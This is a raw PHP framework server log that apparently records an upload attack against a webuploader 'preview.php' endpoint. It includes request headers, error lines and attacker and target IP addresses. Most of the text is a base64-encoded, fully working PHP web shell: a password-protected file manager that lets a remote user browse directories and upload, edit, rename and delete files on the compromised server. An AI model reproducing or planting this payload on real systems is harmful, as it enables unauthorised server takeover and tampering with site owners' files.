'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:43+08:00 ] 116.213.36.234 POST 59.110.137.245/Tpl/Home/default/Public/Hui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002557s] [吞吐率:391.08req/s] [内存消耗:196.97kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Tpl', 2 => 'Home', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 